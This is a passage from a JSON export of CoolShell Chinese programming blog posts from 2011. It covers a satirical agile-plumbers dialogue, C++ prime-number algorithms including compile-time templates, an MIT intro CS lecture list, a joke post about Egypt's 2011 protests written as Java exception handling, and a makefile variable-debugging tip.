：另外，和你阐清一下，我们两个留下来的会分享同一把扳手，因为我们是结对水管工……\n\n\n**水管工3**：……你能看到这会更有生产率，我们轮流使用这把扳手。并能保证很高的质量以及持续的工作激情！\n\n\n**事主**：我没搞懂——你们以前应该就干过这个事了吗，不是吗？500美金的出场费还不能让你们有工作激情？\n\n\n**水管工1**：你得想得长远一些，先生。你看，我们可以一起来经历整个过程。这是多么令人兴奋的事！我对此超级兴奋！\n\n\n**水管工**2：哦，不。看看这个，这些是铜制的水管吗？有多少人在这住？\n\n\n**事主**：什么？这个房子有5年了。就我和我太太在这里，但是你问这个是什么意思？\n\n\n**水管工3**：嗯~~。我有些害怕，情况并没有那么简单！这些都是Legacy的水管，我们需要对它们做重构，而且，这些老的水管也无法适合我们新型的板手。重构看起来并不难……\n\n\n**水管工2**：喔，我们可以使用新的在机场使用的防水层系统。另外，还有更多的工作需要花在一个大的O型环性能配置上， 但是这会让住在这里的数千人都到影响。我想，我们得做个迭代……\n\n\n**事主**：什么？？！！\n\n\n**水管工1**：先生，也许我们可以从你这做一些case study。我们可以为这里创新。让我们先安排一个游戏，这样我们可以进行一个头脑风暴。而最简单有可能做的事——先生，你有水桶吗？\n\n\n**事主**：够了！你们给我滚出去！真是荒唐——很明显，你们根本不知道你们在做什么。给我滚出去！\n\n\n**水管工**1：先生，我开始怀疑你根本没有一个Fackbook社交平台策略（Facebook Social Platform Strategy）用来做解决方案？\n\n\n————————————————\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3745.html)[再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html)\n* [![[转]TDD到底美还是不美？](https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg)](https://coolshell.cn/articles/3766.html)[[转]TDD到底美还是不美？](https://coolshell.cn/articles/3766.html)\nThe post [敏捷水管工](https://coolshell.cn/articles/3778.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-28 打印质数的各种算法.md",
    "content": "---\nlayout: post\ntitle: 打印质数的各种算法\ndate: 2011/2/28/ 1:14:10\nupdated: 2011/2/28/ 1:14:10\nstatus: publish\npublished: true\ntype: post\n---\n\n打印质数的算法应该是学习计算机编程的一个经典的问题，在这里想给大家展示一些方法，相信这些方法会对你的编程有一定的启发作用。请你注意几点，\n\n\n* 实际应用和教学应用有很大的差别。\n* 最后的那个使用编译时而不是运行时的方法大家可以重点看看。\n\n\n#### 教科书的示例\n\n\n首先，先给一个教科书的示例。下面这个示例应该是教科书（至少是我上大学时的教科学）中算法复杂度最好的例子了。其想法很简单，先写一个判断是否是质数的函数isPrime()，然后从1到n分别调用isPrime()函数来检查。检查是否是质数的算法是核心，其简单的使用从2到n的开根的数作为除数。这样的算法复杂度几乎是O(n\\*log(n))，看上去不错，但其实很不经济。\n\n\n\n```\n\n#include <iostream>\nusing namespace std;\n\nbool isPrime(int nr)\n{\n    for (int d = 2; (d * d) < (nr + 1); ++d){\n        if (!(nr % d)){\n            return false;\n        }\n     }\n    return true;\n}\n\nint main (int argc, char * const argv[])\n{\n    for (int i = 0; i < 50; ++i){\n        if (isPrime(i)){\n            cout << i << endl;\n        }\n    }\n}\n\n```\n\n#### 较好的算法\n\n\n我们知道，我们的算法如果写成线性算法，也就是O(n)，已经算是不错了，但是最好的是O(Log(n))的算法，这是一个对数级的算法，著名的二分取中（Binary Search）正是O(Log(n))的算法。**通常来说，O(Log(n))的算法都是以排除法做为手段的**。所以，找质数的算法完全可以采用排除法的方式。如下所示，这种算法的复杂度是*O**(n(log(logn)))。*\n\n\n**示例：打印30以内的质数**\n\n\n一、初始化如下列表。\n\n\n\n```\n 2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30\n```\n\n二、把第一个数（2）取出来，去掉所有可以被2整除的数。\n\n\n\n```\n 2  3     5     7     9    11    13    15    17    19    21    23    25    27    29\n```\n\n三、取第二个数（3），去掉所有可以被 3整除的数。\n\n\n\n```\n 2  3     5     7          11    13          17    19          23    25          29\n```\n\n四、取第三个数（5），因为4已经被去除了，再去掉所有可以被5整除的数。\n\n\n\n```\n 2  3     5     7          11    13          17    19          23                29\n```\n\n接下来的数是7，但是7的平方是49，其大于了30，所以我们可以停止计算了。剩下的数就是所有的质数了。\n\n\n#### 实际应用的算法\n\n\n实际应用中，我们通常不会使用上述的两种算法，因为那是理论学院派的算法。实际中的算法是，我把质数事先就计算好，放在一个文件中，然后在程序启动时（注意是在启动时读这个文件，而不是运行时每调用一次就读一次文件），读取这个文件，然后打印出来就可以了。如果需要查找的化，二分查找或是hash表查找将会获得巨大的性能提升。当然，这样的方法对于空间来说比前面两个都要消耗得大，但是你可以有O(log(n))或是O(1)的时间复杂度。\n\n\n所以，我想在这里提醒大家——**实际和理论的的方法很不一样的**，千万不要读书读成书呆子。在游戏编程的世界里，大量的数据都不是运行计算的，而都是写在文件中的。比如，一个火焰效果，一个人物跑动的动作，都是事先写在文件中的。\n\n\n#### 使用编译时而不是运行时\n\n\n下面这个例子（本例参考于[这里](http://www.intermediaware.com/blog/846/hack-of-the-day-fast-prime-numbers)）你需要注意了，这是一个高级用法，使用模式来在编译时计算质数，而不是运行时。这种技术使用了C++编译器对模板的特化时的处理来生成自己相要的结果。这种方法在技术上是相当Cool的，但并不一定实用，这里只是想像大家展示这种用法。这是C++的最骨灰级的用法了。\n\n\n请看下面的两个模板类，第一个模板以递归的方式检查是否是质数，第二个方法是递归的退出条件（当N=1时），对于模板的重载，请参看相关的C++书籍。\n\n\n\n```\n\ntemplate<int N, int D = N - 1>\nstruct isPrime {\n    enum {\n        result = (N % D) && isPrime<N, D-1>::result\n    };\n};\n\ntemplate<int N>\nstruct isPrime<N, 1> {\n    enum {\n        result = true\n    };\n};\n\n```\n\n于是，通过这个模板，我们可以使用下面的代码来检查是否是质数：\n\n\n\n```\n\nif (isPrime<3>::result)\n    cout << \"Guess what: 3 is a prime!\";\n\n```\n\n下一步，我们需要打出一个区间内的质数，所以，我们需要继续设计我们的print模板。\n\n\n\n```\n\ntemplate<int N, bool ISPRIME>\nstruct printIfPrime {\n    static inline void print() {}\n};\n\ntemplate <int N>\nstruct printIfPrime<N, true> {\n    static inline void print() {\n        std::cout << N << endl;\n    }\n};\n\n```\n\n从上面的代码中，我们可以看到，我们的第一个实际是什么也没做，而第二个有输出，注意第二个的模板参数中有一个true，其意味着那个质数的判断。于是我们就可以给出下面的代码来尝试着打印出一段区间内的质数：（**请不要编译！！**因为那会让编译器进入无限循环中，原因是printPrimes会不停地调用自己永不停止）\n\n\n\n```\n\ntemplate<int N, int MAX>\nstruct printPrimes {\n    static inline void print()\n    {\n        printIfPrime<N, isPrime<N>::result>::print();\n        printPrimes<N + 1, MAX>::print();\n    }\n};\n\n```\n\n为了避免这个问题，你需要再加一个模板类，如下所示。这样当N变成MAX的时候，递归就结束了。\n\n\n\n```\n\ntemplate<int N>\nstruct printPrimes<N, N> {\n    static inline void print() {\n        printIfPrime<N, isPrime<N>::result>::print();\n    }\n};\n\n```\n\n最后，让我们来看看最终的调用：\n\n\n\n```\n\nint main (int argc, char * const argv[])\n{\n    printPrimes<2, 40>::print();\n    return 0;\n}\n\n```\n\n这个方法很NB，但是有两个问题：\n\n\n* 比较耗编译时间。\n* 不能在运行时输入MAX的值。\n\n\n不过，相信这种玩法会启动你很多的编程思路。\n\n\n当然，还有以前说过的那个——《[检查素数的正则表达式](https://coolshell.cn/articles/2704.html \"检查素数的正则表达式\")》\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](http://coolshell.cn/articles/7965.html)[一个fork的面试题](http://coolshell.cn/articles/7965.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](http://coolshell.cn/articles/1857.html)[C 语言整型谜题](http://coolshell.cn/articles/1857.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](http://coolshell.cn/articles/6010.html)[一些有意思的算法代码](http://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](http://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](http://coolshell.cn/articles/3961.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](http://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](http://coolshell.cn/articles/11847.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\nThe post [打印质数的各种算法](https://coolshell.cn/articles/3738.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-28 （麻省理工免费课程）计算机科学和编程导论.md",
    "content": "---\nlayout: post\ntitle: （麻省理工免费课程）计算机科学和编程导论\ndate: 2011/2/28/ 0:25:7\nupdated: 2011/2/28/ 0:25:7\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站推荐过[麻省理工的C/C++的课程](https://coolshell.cn/articles/2474.html)，今天在他们的网站看到上有一组关于[计算机科学和编程导论的免费公开课](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/)（视频是Youtube的），我看了几个课程，我觉得讲得很系统啊，而且有一点一通百通的感觉。虽然是理论课，但是可以感到我国的教育还是有很大差距的。这个组课程推荐给大家（需要翻墙），视频都有字幕，计算机科学系毕业的同学应该会很容易听懂。强烈推荐。（网友Aslan指出已经有人搬运到优酷上了，[链接在这里](http://www.youku.com/playlist_show/id_3940564_ascending_1_mode_pic_page_1.html)，遗憾的是没有字幕，另外，不知道为什么会说是Python学习）\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 1: Introduction and Goals; Data Types, Operators, and Variables\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p0.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 2: Branching, Conditionals, and Iteration\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p1.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 3: Common Code Patterns: Iterative Programs\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p2.html) |\n\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 4: Abstraction through Functions; Introduction to Recursion\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p3.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 5: Floating Point Numbers, Successive Refinement, Finding Roots\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p4.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 6: Bisection Methods, Newton/Raphson, Introduction to Lists\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p5.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 7: Lists and Mutability, Dictionaries, Introduction to Efficiency\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p6.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 8: Complexity: Log, Linear, Quadratic, Exponential Algorithms\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p7.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 9: Binary Search, Bubble and Selection Sorts\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p8.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 10: Divide and Conquer Methods, Merge Sort, Exceptions\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p9.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 11: Testing and Debugging\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p10.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 12: Debugging, Knapsack Problem, Introduction to Dynamic Programming\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p11.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 13: Dynamic Programming: Overlapping Subproblems, Optimal Substructure\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p12.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 14: Introduction to Object-oriented Programming\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p13.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 15: Abstract Data Types, Classes and Methods\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p14.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 16: Encapsulation, Inheritance, Shadowing\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p15.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 17: Computational Models: Random Walk Simulation\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p16.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 18: Presenting Simulation Results, Pylab, Plotting\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p17.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 19: Biased Random Walks, Distributions\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p18.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 20: Monte Carlo Simulations, Estimating pi\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p19.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 21: Validating Simulation Results, Curve Fitting, Linear Regression\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p20.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 22: Normal, Uniform, and Exponential Distributions\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p21.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 23: Stock Market Simulation\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p22.html) |\n\n\n\n\n|  |  |\n| --- | --- |\n|  | 24: Course Overview; What Do Computer Scientists Do?\n[Youtube（英文字幕）](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24)\n[优酷（无字幕）](http://v.youku.com/v_playlist/f4862914o1p23.html) |\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![狗日的开源软件许可证](../wp-content/uploads/2011/05/OSS-License-150x150.jpg)](https://coolshell.cn/articles/4657.html)[狗日的开源软件许可证](https://coolshell.cn/articles/4657.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2474.html)[（麻省理工免费课程）C语言内存管理和C++面向对象编程](https://coolshell.cn/articles/2474.html)\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![如何重构“箭头型”代码](../wp-content/uploads/2017/04/IMG_7411-150x150.jpg)](https://coolshell.cn/articles/17757.html)[如何重构“箭头型”代码](https://coolshell.cn/articles/17757.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\nThe post [（麻省理工免费课程）计算机科学和编程导论](https://coolshell.cn/articles/3723.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-9 Error handling in Egypt.md",
    "content": "---\nlayout: post\ntitle: Error handling in Egypt\ndate: 2011/2/9/ 0:45:3\nupdated: 2011/2/9/ 0:45:3\nstatus: publish\npublished: true\ntype: post\n---\n\n以前发布过《[C语言的错误处理](https://coolshell.cn/articles/551.html)》一文，不过今天想说的是Egypt的“错误处理”。埃及的事闹得挺大的，国外和中文twitter上更是炸了锅。不要以为程序员就只会写程序——看看程序员举出来的标语吧。呵呵。\n\n\n[![](../wp-content/uploads/2011/02/Error-handling-in-Egypt.jpg \"Error handling in Egypt\")](https://coolshell.cn/wp-content/uploads/2011/02/Error-handling-in-Egypt.jpg)Error handling in Egypt\n当然，作为程序员来说，这段代码显然还需要重构：  \n\n\n\n\n\n```\ntry{\n    elections(free,fare);\n} catch(DemocracyNotFoundException){\n    System.err.println(\"Time for Mubarak to leave\");\n}\n```\n\n也有的程序员说，System.err.println不是处理错误的最好方法，正确的方法应该是：\n\n\n\n```\ntry {\n    elections(free,fair);\n} catch (DemocracyNotFoundException e) {\n    throw new MubarakDepartureParty(e);\n}\n```\n\n最后，我们希望Egypt不要出现：\n\n\n\n```\n...\nfinally {\n    Security.shootProtesters();\n}\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [Error handling in Egypt](https://coolshell.cn/articles/3630.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-1 如何调试makefile变量.md",
    "content": "---\nlayout: post\ntitle: 如何调试makefile变量\ndate: 2011/3/1/ 0:34:38\nupdated: 2011/3/1/ 0:34:38\nstatus: publish\npublished: true\ntype: post\n---\n\n六、七年前写过一篇《[跟我一起写Makefile](http://blog.csdn.net/haoel/archive/2004/02/24/2886.aspx \"跟我一起写Makefile\")》，直到今天，还有一些朋友问我一些Makefile的问题，老实说，我有一段时间没有用Makefile了，生疏了。回顾，这几年来大家问题我的问题，其实很多时候是makefile的调试问题。所以，就像我在之前的那篇[关于GDB的技巧的文章](https://coolshell.cn/articles/3643.html \"GDB中应该知道的几个调试方法\")中做的一样，在这里向大家介绍一个小小的调试变量的技巧。相信一定对你有用。\n\n\n对于Makefile中的各种变量，可能是我们比较头痛的事了。我们要查看他们并不是很方便，需要修改makefile加入echo命令。这有时候很不方便。其实我们可以制作下面一个专门用来输出变量的makefile（假设名字叫：vars.mk）\n\n\n\n```\n\n%:\n        @echo '$*=$($*)'\n\nd-%:\n        @echo '$*=$($*)'\n        @echo '  origin = $(origin $*)'\n        @echo '   value = $(value  $*)'\n        @echo '  flavor = $(flavor $*)'\n\n```\n\n这样一来，我们可以使用make命令的-f参数来查看makefile中的相关变量（包括make的内建变量，比如：COMPILE.c或MAKE\\_VERSION之类的）。**注意：第二个以“d-”为前缀的目标可以用来打印关于这个变量更为详细的东西**（后面有详细说明）  \n\n\n\n\n假设我们的makefile是这个样子（test.mk）\n\n\n\n```\n\n\nOBJDIR := objdir\nOBJS := $(addprefix $(OBJDIR)/,foo.o bar.o baz.o)\n\nfoo = $(bar)bar = $(ugh)ugh = Huh?\n\nCFLAGS = $(include_dirs) -O\ninclude_dirs = -Ifoo -Ibar\nCFLAGS := $(CFLAGS) -Wall\n\nMYOBJ := a.o b.o c.o\nMYSRC := $(MYOBJ:.o=.c)\n```\n\n那么，我们可以这样进行调试：\n\n\n\n```\n\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk OBJS\nOBJS=objdir/foo.o objdir/bar.o objdir/baz.o\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk d-foo\nfoo=Huh?\n  origin = file\n  value = $(bar)\n  flavor = recursive\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk d-CFLAGS\nCFLAGS=-Ifoo -Ibar -O -O\n  origin = file\n  value = -Ifoo -Ibar -O -O\n  flavor = simple\n\n[hchen@RHELSVR5]$  make -f test.mk -f var.mk d-COMPILE.c\nCOMPILE.c=cc -Ifoo -Ibar -O -Wall   -c\n  origin = default\n  flavor = recursive\n   value = $(CC) $(CFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c\n\n```\n\n我们可以看到：\n\n\n* make的第一个-f后是要测试的makefile，第二个是我们的debug makefile。\n* 后面直接跟变量名，如果在变量名前加”d-“，则输出更为详细的东西。\n\n\n说一说”d-” 前缀（其意为details），其中调用了下面三个参数。\n\n\n* [$(origin)](http://www.gnu.org/software/make/manual/make.html#Origin-Function)：告诉你这个变量是来自哪儿，file表示文件，environment表示环境变量，还有environment override，command line，override，automatic等。\n* [$(value)](http://www.gnu.org/software/make/manual/make.html#Value-Function)：打出这个变量没有被展开的样子。比如上述示例中的 foo 变量。\n* [$(flavor)](http://www.gnu.org/software/make/manual/make.html#Flavor-Function)：有两个值，simple表示是一般展开的变量，recursive表示递归展开的变量。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [如何调试makefile变量](https://coolshell.cn/articles/3790.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-10 中国仍是IE6的重灾区.md",
